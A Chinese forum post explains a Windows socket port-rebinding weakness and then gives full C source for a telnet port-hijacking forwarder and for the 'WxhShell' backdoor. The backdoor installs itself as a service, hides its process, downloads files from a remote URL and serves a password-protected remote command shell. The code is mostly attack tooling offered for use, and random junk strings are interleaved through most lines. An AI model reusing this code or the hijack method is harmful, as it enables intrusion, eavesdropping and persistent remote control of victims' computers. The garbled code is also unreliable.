-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b.?;I7r
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )Qe]!$tqfD ]63!
Wc saddr.sin_family = AF_INET; u=]*,,5< 0QfDg DX saddr.sin_addr.s_addr = htonl(INADDR_ANY); oyk&]'> OX]P;#4tU bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <,/7:n 1t^9.!$@y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ln8NcAEx Kj3Gm>B<y 这意味着什么?意味着可以进行如下的攻击: I"3C/ pU2 0MxK+8\y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (>x05nh OUGkam0UK 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q^zG+FN aL90:,V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {~Jk (c~I h2Th)&Fb> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 $)9|"q6 +0Q +0: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `]6<j<'
, MY
c& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _JNYvngm yx4pQL7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #Y'b?&b vZ srlHb #include :p]e4|R #include 4`: POu& #include Y0EX{oxt1 #include qsbo"29 DWORD WINAPI ClientThread(LPVOID lpParam); Mb\(52`)Q int main() em0Y' J { 0hGmOUO WORD wVersionRequested; iZeq
l1O DWORD ret; dlCYdwP WSADATA wsaData; SN L-6]j BOOL val; hf2bM
`d SOCKADDR_IN saddr; >,3 uu}s SOCKADDR_IN scaddr; h\3-8m int err; =*lBJ-L SOCKET s; e:'56?| SOCKET sc; .RFH@'' int caddsize; H2#o
X HANDLE mt; vGh>1U: DWORD tid; lA/-fUA wVersionRequested = MAKEWORD( 2, 2 ); 6z6\xkr err = WSAStartup( wVersionRequested, &wsaData ); V|sV U if ( err != 0 ) { ?0*[
L printf("error!WSAStartup failed!\n"); rEj[XK return -1; 9oO~UP!ag } K@cWg C saddr.sin_family = AF_INET; Ow4(1eE_ 3Z*o5@RI //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @/^mFqr2 {9V.l.Q saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0!lWxS0#= saddr.sin_port = htons(23); <n#X~}i) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a oU" { m<>BxX printf("error!socket failed!\n"); T~Bj],k_ return -1; g([:"y? } BPt? 3tC val = TRUE; zEW+1-=)+7 //SO_REUSEADDR选项就是可以实现端口重绑定的 [yQ%g;m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e]88 4FP { \#dacQ2E@ printf("error!setsockopt failed!\n"); 3s%ND7!/ return -1; 6Nn+7z<*&z } ]gcOMC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H#;*kc
a4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s[0` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q: FhuOP wv{ Qx^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o|z@h][(l( { 4l%W]' ret=GetLastError(); $B%KkD printf("error!bind failed!\n"); Wmcd{MOS return -1; '0q$qN } w($a'&d`0 listen(s,2); =ejU(1 g while(1) c5WMN.z { lNg){3 caddsize = sizeof(scaddr); Kh$"5dy //接受连接请求 IV. })8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Sf*v#? if(sc!=INVALID_SOCKET) 7mMGH( { S5TVfV5LI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A<)n H=G& if(mt==NULL) ,*6K3/kW { eP>_CrJb printf("Thread Creat Failed!\n"); ;i6~iLY break; g_syGQ\ } >bZ-mX)j\0 } $]E+E.P CloseHandle(mt); 5>f" } xWzybuLp closesocket(s); sS}:O d WSACleanup(); NLL"~ return 0; !X-\;3kC0 } {ac$4#Bp[B DWORD WINAPI ClientThread(LPVOID lpParam) :\"0jQ.y| { BkXv4|UE SOCKET ss = (SOCKET)lpParam; 4DCh+|r SOCKET sc; zT,@PIC( unsigned char buf[4096]; `3T=z{HR9g SOCKADDR_IN saddr; l6HtZ( long num; ?{f6su@rW DWORD val; '1b 1N5~ DWORD ret; Pqya%j //如果是隐藏端口应用的话,可以在此处加一些判断 lUEbxN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 1}=D saddr.sin_family = AF_INET; T/P\j0hR saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "{D/a7]lC saddr.sin_port = htons(23); iiq
`:G
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (t@)`N{ { 1 gjaTPwY printf("error!socket failed!\n"); NzQvciJ@" return -1; w ea } L!Y|`P#Yr val = 100; G=17]>U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ljz)%y[s { ?l6yLn5si^ ret = GetLastError(); a^J(TW/ return -1; /8qR7Z^HZ } Hl8-q! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EWDsBNZaI { ct-Bq ret = GetLastError(); Q*#Lr4cm{ return -1; ^\gb|LEnK } ek]JzD~w$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ro2V-6/ { j13-?fQ& printf("error!socket connect failed!\n"); X2Ak closesocket(sc); A2ye
^<-C. closesocket(ss); qA7,txQ: return -1; 7/<~s]D[% } qLLrR,: while(1) =A6*;T"W { np^&cY] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?pEPwc //如果是嗅探内容的话,可以再此处进行内容分析和记录
6NV592 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -M=BD-_.h num = recv(ss,buf,4096,0); @~hy'6/ if(num>0) m=9b/Nr4 send(sc,buf,num,0); n+=qT$w) else if(num==0) _\+]/rY9o break; Gn
9oInY1 num = recv(sc,buf,4096,0); )Q`Ycz- if(num>0) 1<m`38' send(ss,buf,num,0); 7(o`>7x* else if(num==0) GZaB z#U break; ZskX!{ } j$Ndq(<tG closesocket(ss); p}pRf@(`\ closesocket(sc); [6l0|Y return 0 ; -hnNaA } A;rk4)lij Ox J0." afX|R ========================================================== VCc=dME b(N\R_IQ~ 下边附上一个代码,,WXhSHELL QD%xmP Nxt:U{`T' ========================================================== &'^.>TJ\ %N&.B #include "stdafx.h" )I*(yUj LI.WcI3uS #include <stdio.h> xRc+3Z= N #include <string.h> L,A+" #include <windows.h> nyPeN?- #include <winsock2.h> '8)kFR^9 #include <winsvc.h> h9 DUS,G9, #include <urlmon.h> fWJpy#/^*K Q SF0?Puf #pragma comment (lib, "Ws2_32.lib") tx
d0S! #pragma comment (lib, "urlmon.lib") 5B)&;[ 9Zd\6F, #define MAX_USER 100 // 最大客户端连接数 G 3U[)(" #define BUF_SOCK 200 // sock buffer (8m_ GfT #define KEY_BUFF 255 // 输入 buffer j|pTbOgk% $)NS]wJ]3 #define REBOOT 0 // 重启 GFLat #define SHUTDOWN 1 // 关机 *_I`{9~' }I
uqB*g[t #define DEF_PORT 5000 // 监听端口 bu6Sp3g :y7K3:d3 #define REG_LEN 16 // 注册表键长度 !y XGAg, #define SVC_LEN 80 // NT服务名长度 {E%c%zzQ yq|yGf(4& // 从dll定义API DqWy@7
a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); plPPf+\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {Ni]S$7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )rP,+ B?W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nzgi)xX0HX ^k7I+A // wxhshell配置信息 2iM}YCV struct WSCFG { hNh!H<}|m8 int ws_port; // 监听端口 .*YF{!R`h char ws_passstr[REG_LEN]; // 口令 VK*_pEV,} int ws_autoins; // 安装标记, 1=yes 0=no W8bp3JX" char ws_regname[REG_LEN]; // 注册表键名 Pa0W|q#?X char ws_svcname[REG_LEN]; // 服务名 !0hyp |F:> char ws_svcdisp[SVC_LEN]; // 服务显示名 mW!n%f char ws_svcdesc[SVC_LEN]; // 服务描述信息 =YVxQj char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >vo 6X]p~ int ws_downexe; // 下载执行标记, 1=yes 0=no 'cc8xC char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }Fu1Y@M% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zZPWE"u} 7xO05)bz }; s"#N; A z@@0 // default Wxhshell configuration r
ezp7 struct WSCFG wscfg={DEF_PORT, *w0|`[P+h "xuhuanlingzhe", {1Cnrjw 1, V
H`_ "Wxhshell", +`wr{kB$~ "Wxhshell", m%u`#67oK "WxhShell Service", >b"@{MZ@t "Wrsky Windows CmdShell Service", Xj+_"0
# "Please Input Your Password: ", X@[5nyILf 1, Epp>L.?r " http://www.wrsky.com/wxhshell.exe",
y
_ap T<P "Wxhshell.exe" FVl,
ttW }; Z<>gx m< ]tu
OWR // 消息定义模块 'Up75eT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +|bmUm<2 char *msg_ws_prompt="\n\r? for help\n\r#>"; Zs/-/C| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Dti-*LB1 char *msg_ws_ext="\n\rExit."; <2@t~9 char *msg_ws_end="\n\rQuit."; 0vLx={i char *msg_ws_boot="\n\rReboot..."; :I7qw0? char *msg_ws_poff="\n\rShutdown..."; A4(L47^ char *msg_ws_down="\n\rSave to "; M:OZWYQ 16eP7s char *msg_ws_err="\n\rErr!"; p'^}J$ char *msg_ws_ok="\n\rOK!"; !NNPg?Y 7Fpa%N/WL char ExeFile[MAX_PATH]; !-T#dU int nUser = 0; [V_mF HANDLE handles[MAX_USER]; z)KoK`\mE" int OsIsNt; :CM-I_6 Ay6T*Nu` SERVICE_STATUS serviceStatus; Y<POdbg SERVICE_STATUS_HANDLE hServiceStatusHandle; P\WHM( #]+BIr` // 函数声明 )x[=}0C int Install(void); mQ}\ptdfV int Uninstall(void); 2&'uO'K int DownloadFile(char *sURL, SOCKET wsh); J6EzD\.Y) int Boot(int flag); i:
-IZL\ void HideProc(void); {=I,+[( int GetOsVer(void); }mp`!7?>O int Wxhshell(SOCKET wsl); 1c"s+k]9 void TalkWithClient(void *cs); o|n;{zT" int CmdShell(SOCKET sock); zQ<&[Tuwa int StartFromService(void); kKbbsB int StartWxhshell(LPSTR lpCmdLine); P[H`]q| :,H_
e!
X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mhIGunK;+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); n @@tO#!\ L
~Vw`C // 数据结构和表定义 )N{PWSPs SERVICE_TABLE_ENTRY DispatchTable[] = J.2BBy { 4ybOK~z {wscfg.ws_svcname, NTServiceMain}, uq:'`o-1 {NULL, NULL} < :eKXH2 }; Jp)PKS
![ .ZQXY%g // 自我安装 {3vm] int Install(void) (ce)A,; { lKI]q<2 char svExeFile[MAX_PATH];
KYcc jX HKEY key; ZKI` ; strcpy(svExeFile,ExeFile); 79Q,XRWh| &e[Lb:Uk) // 如果是win9x系统,修改注册表设为自启动 gcX if(!OsIsNt) { Dh{P23} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ioTqT:. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aM[fag$c RegCloseKey(key); 6*ZZ)W< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u_WW
uo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %u|Qh/?7 RegCloseKey(key); \<%FZT_4~ return 0; #lVSQZO~a } %ULd_ES^ } *LmzGF| } y;9K else { Q"xDRQA U/(R_U>= // 如果是NT以上系统,安装为系统服务 ~ C_2D? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
t.O4-+$ig if (schSCManager!=0) BYS>" { 1^;&?E SC_HANDLE schService = CreateService e8]mdU{) ( v#sx9$K T schSCManager, J_|>rfW wscfg.ws_svcname, oU 8o;zk0 wscfg.ws_svcdisp, Z3T26Uk SERVICE_ALL_ACCESS, R?%|RCht1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C$B?|oUJc SERVICE_AUTO_START, s{j3F SERVICE_ERROR_NORMAL, e''Wm.>g(+ svExeFile, }S&SL) NULL, b}q,cm NULL, -3b0;L&4>x NULL, ?at~il$z' NULL, Ix5yQgnB}j NULL 0P53dF ); WqU$cQD" if (schService!=0) 8|Y^z_C { J.`.lQ$z CloseServiceHandle(schService); 1Kebl CloseServiceHandle(schSCManager); veE8
N~0N. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7,LT4wYH strcat(svExeFile,wscfg.ws_svcname); }#u}{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @49^WY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^jhHaN]G^ RegCloseKey(key); 7y`~T+ return 0; 2W~2Hk=0+% } TT&!WbA-Hk } o_$r*Z|HG CloseServiceHandle(schSCManager); Ap> n4~ } !!K=v7M } ,|c_l) \S2'3SDd/ return 1; Wj*6}N/ } s^v,i
CH{ "|&*MjwN6 // 自我卸载 p0YTZS ]h int Uninstall(void) I~T?tm { bFx?HM.AGW HKEY key; q{JD]A : ZyWC_r! if(!OsIsNt) { O 1X
! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZmHl~MR@ RegDeleteValue(key,wscfg.ws_regname); |$ 0/:* RegCloseKey(key); S I(8.$1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )*JTxMQ RegDeleteValue(key,wscfg.ws_regname); ;~q)^.K3 RegCloseKey(key); ?x/L"h&Kp return 0; Ua3ERBX{ } BR%: `uiQ< } (c_hX( } ^
pR& else { a:]yFi:Su Zj<T#4?8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q\z*q,^R if (schSCManager!=0) |Z/ySAFM { &boBu^,94 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q.X-2jjpx: if (schService!=0) (6+0U1[Iz { tE>:kx0*3 if(DeleteService(schService)!=0) { RGKJO_*J2 CloseServiceHandle(schService); +[7u>RJ CloseServiceHandle(schSCManager); K^vMIo h return 0; z'I0UB# } NV;tsuA| CloseServiceHandle(schService); \5l}5<| } d16PY_ CloseServiceHandle(schSCManager); \ d;Ow8%d/ } LMDa68 s } 8+ W^t I %~[F^ return 1; -
|'wDf?H } 1f:k:Y9i vT~ a} // 从指定url下载文件 >y@w-,1he int DownloadFile(char *sURL, SOCKET wsh) K&h|r`W( { ^YZ#P0 y HRESULT hr; MG@19R2s char seps[]= "/"; Dx%fW` char *token; ;g*6NzdA char *file; (^4%Fk&I- char myURL[MAX_PATH]; 7> Qt O char myFILE[MAX_PATH]; uQNoIy J) 1WKDG~ strcpy(myURL,sURL); W2k~N X#@ token=strtok(myURL,seps); +Lr0i_al while(token!=NULL) PrcM'Q { _Owz% file=token; dd+).* token=strtok(NULL,seps); U|QDV16f } aU! UY( Sq'z<}o GetCurrentDirectory(MAX_PATH,myFILE); b,W'0gl strcat(myFILE, "\\"); hg~fFj3ST strcat(myFILE, file); {%Y7]*D send(wsh,myFILE,strlen(myFILE),0); 73.b9mF send(wsh,"...",3,0); 6M9rC[h\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H6eGLg={ if(hr==S_OK) #Grm-W9E return 0; ]gW J, else S7vE[VF5 return 1; Id0F2 [ SOL=3hfb^ } >vU
Hf`4T bW]+Og // 系统电源模块 +*q@= P, int Boot(int flag) /~[R
u { >>r:L3 <! HANDLE hToken; *Y ZLQT TOKEN_PRIVILEGES tkp; P.:T
zk6 6>I.*Qt \l if(OsIsNt) { :Mk}Suf&H OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [1U_c*;i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DvCt^O* tkp.PrivilegeCount = 1; a6d KQ3D tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I'C,' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :Eyv= = if(flag==REBOOT) { Ln|${c if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'Ap5Aq return 0; [}p.*U_nw } Q:\hh=^ else { xTMTkVa+B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [)A#9L~s= return 0; *&]l } 2LU'C,o? } P>-,6a> else { ?
h%+2 if(flag==REBOOT) { =.a ]?&Yyh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M6sDtL9l return 0; 08a|]li } [Bo$? else { KF)i66 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3D0I5LF& return 0; z<>_*Lfj } ^@2Vh*k } #Au&2_O b*KZe[#M1 return 1; W\7*T1TDj } v_0!uT5~NE ay4xOwcR // win9x进程隐藏模块 k Dt)S$N4n void HideProc(void) MavO`m&Cg { (SK5pU ]w>fnew HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FF/R_xnx if ( hKernel != NULL ) df& |Lc1J { 8A .7=C' z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'wrpW# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tqCg<NH.!m FreeLibrary(hKernel); 6,1|y%(f } 5QJL0fc
h$\hPLx return; qGCg3u6 } zQ}N
mlk CaBS0'
n // 获取操作系统版本 %LHV 0u int GetOsVer(void) rbbuSI { [i7)E]*oTA OSVERSIONINFO winfo; ^;Q
pE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H~]o]uAi" GetVersionEx(&winfo); qhtAtP>i" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {W<-f? return 1; jqWvLBU! else ^ZUgDQduc return 0; ~+yo;[1Yc } wf%Ep#^6} A>A'dQ69 // 客户端句柄模块 >r3< O=Z7 int Wxhshell(SOCKET wsl) 5Suc#0y { ot#kU 8f SOCKET wsh; 79g>7<vp struct sockaddr_in client; 0f/!|c DWORD myID; ,
% jTXb oH0F9*+W while(nUser<MAX_USER) 3G|fo4g { z
5+]Z a~ int nSize=sizeof(client); +lJ]-U|P wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8T
)ELhTj if(wsh==INVALID_SOCKET) return 1; JSK5x(GlH -U[`pUY?f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Fjt, if(handles[nUser]==0) $ n[7 closesocket(wsh); $#3<rcOq else "IJMvTmj nUser++; [Od9,XBa } %5?-g[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >0#q!H,X S@NhEc return 0; +N:6wZ7<f } .BDRD~kB Ia:puks= // 关闭 socket |S`yXsg void CloseIt(SOCKET wsh) 'xoE
[0! { @k6}4O?{ closesocket(wsh); ?9@Af{b t2 nUser--; I} fcFL8 ExitThread(0); {<[tYZmj. } b:cK >fh0_ .0W4Dp // 客户端请求句柄 L$c%u void TalkWithClient(void *cs) 4Olv8nOe< { i}F;fWZ` )h_7 2 SOCKET wsh=(SOCKET)cs; !nBm}E7d char pwd[SVC_LEN]; ikG9l&n char cmd[KEY_BUFF]; 4eL54).1O char chr[1]; 1"B9Z6jf int i,j; @ZR4%A"X4 UH&1c8y} while (nUser < MAX_USER) { rRrW mW0&uSMD if(wscfg.ws_passstr) { ieRBD6_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c&?a,fpb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m3Z}eC8LK //ZeroMemory(pwd,KEY_BUFF); X8n/XG ~_ i=0; ^I~T$YjC ' while(i<SVC_LEN) { exEld (i0"hi // 设置超时 \ +-hn fd_set FdRead; qs1.@l(" struct timeval TimeOut; )/T$H| FD_ZERO(&FdRead); S Y>,kwHO FD_SET(wsh,&FdRead); @TPgA(5NR TimeOut.tv_sec=8; $0S#d@v} TimeOut.tv_usec=0; >c\v&k>6. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !^bB/e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~EWfEHf*BJ ],}afa!A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wt=>{JM pwd =chr[0]; AH87UkNL if(chr[0]==0xd || chr[0]==0xa) { 6O@ ^`T pwd=0; m#'rI=}! break; Q1I_=fT } *5_8\7d i++; +9
p`D } 2|H91Y2 9eN2)a/ // 如果是非法用户,关闭 socket VO;UV$$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); | ]!Ky[P } $x_52 j\j LVFsd6:h send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uyRA`<&w send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VfA5r`^ Xt,,AGm} while(1) { KkL:p?@n ]1|Ql*6y, ZeroMemory(cmd,KEY_BUFF); nL(%&z \4 +b,31 // 自动支持客户端 telnet标准 xAd>",=~ j=0; s3_e7D ^H while(j<KEY_BUFF) { !k= 0X\5L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BUA6( cmd[j]=chr[0]; R4~zL!7; if(chr[0]==0xa || chr[0]==0xd) { a[74%L? cmd[j]=0; 2hwXWTSu break; ic0v*Y$ } 7fW=5wc j++; HLoQ}oK|K } mQ^@ \s o&XMgY~ // 下载文件 w^'?4M! if(strstr(cmd,"http://")) { Y zBA{FE send(wsh,msg_ws_down,strlen(msg_ws_down),0); [N95.aD if(DownloadFile(cmd,wsh)) nvs}r%1'5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); >SxZ9T|% else @X|i@{<'; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iy.%kHC } Q+!0)pG5# else { Oa\ `; rTsbP40 switch(cmd[0]) { Zu0;/_rN ;&W; // 帮助 |:e|~sism case '?': { H?`)[# send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +F7<5YW&( break; 3?*M{Y| } s*)41\V0 // 安装 SA(U D case 'i': { Nr]8P/[~ if(Install()) Z4HA94 send(wsh,msg_ws_err,strlen(msg_ws_err),0); L'\/)!cEd else 8R)D ! 7[l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3m43nJ.~ break; "'F;lzq } 0Y6q$h>4 // 卸载 gP%|:" case 'r': { r{q}f) if(Uninstall()) Q9yGQu send(wsh,msg_ws_err,strlen(msg_ws_err),0); =~\]3g else Xb<DpBrk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I NPYJ#% break; ^)hAVf~E } @m/;ZQ // 显示 wxhshell 所在路径 Tbi]oB# case 'p': { c>R`jb@$N char svExeFile[MAX_PATH]; `
Y{>2UFX strcpy(svExeFile,"\n\r"); { p!_-sL strcat(svExeFile,ExeFile); "^9[OgE: send(wsh,svExeFile,strlen(svExeFile),0); C?[a3rNH( break; B|Fl,55 } ];pf // 重启 p- "Z'$A` case 'b': { Vedyy\TU send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $*AC>i\ if(Boot(REBOOT)) ol$2sI=.s send(wsh,msg_ws_err,strlen(msg_ws_err),0); >&<<8Ln else { %Le :wC closesocket(wsh); UK"}}nO@e ExitThread(0); ':!3jZP"m } XdGpW break; Ue{vg$5|| } 2/yXY_L // 关机 }xkLD! case 'd': { ?~aZ#%*i8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $Wr\[P: if(Boot(SHUTDOWN)) tLD~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1jH7<%y else { 6WE&((r^ closesocket(wsh); ^s^JzFw ExitThread(0); 2gd<8a' ' } 6%gB
E break; }A4nJ>`tq } i\=z' // 获取shell x7P([^i case 's': { Sc1+(z CmdShell(wsh); >
$w^%I closesocket(wsh); Q;$
9qOF ExitThread(0); W NwJM break; s;fVnaqG: }
eeW' [ // 退出 LbJtpwz>z case 'x': { 0$eyT-:d send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <i_>
y~v` CloseIt(wsh); x],8yR)R break; [!1)mR } Fw_
(q! // 离开 10C 2= case 'q': { ;YK!EMM4!h send(wsh,msg_ws_end,strlen(msg_ws_end),0); Aautih@LX closesocket(wsh); gEZwW]r- WSACleanup(); NXzU0 exit(1); tmO;:n<N break; )Qh>0T+( } cS<TmS! } [_y9"MMwn } }Vvsh3 "s F Xl // 提示信息 LXHwX*`Y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7"ylN"syZ } jW-;4e*H=V } AIuMX4nb -"W )|oC_ return; :8p&#M } BRQ"A, aB6Ye/Io // shell模块句柄 1<xcMn0et int CmdShell(SOCKET sock) 79)A%@YHQQ { B0f_kH~p~ STARTUPINFO si; "'['(e+7 ZeroMemory(&si,sizeof(si)); =2^Vgc si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }qc#lz si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I"Q#IvNw PROCESS_INFORMATION ProcessInfo; %x&F4U char cmdline[]="cmd"; dCB&c^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oi7
3YOB return 0; K!3{M!B } Y)$52m5rM QJx9I_ // 自身启动模式 DdBxqkh int StartFromService(void) n!GWqle { -#hK|1] typedef struct Q]< (bD.7 { +"'F Be DWORD ExitStatus; ]]>nbgGn# DWORD PebBaseAddress; H76E+AY DWORD AffinityMask; }<vvxi DWORD BasePriority; Vy]A,Rn7 ULONG UniqueProcessId; B,3 t` ULONG InheritedFromUniqueProcessId; 9'1hjd3k } PROCESS_BASIC_INFORMATION; D9ANm"# ./$
<J6-J PROCNTQSIP NtQueryInformationProcess; q1 H=/[a 53B.2
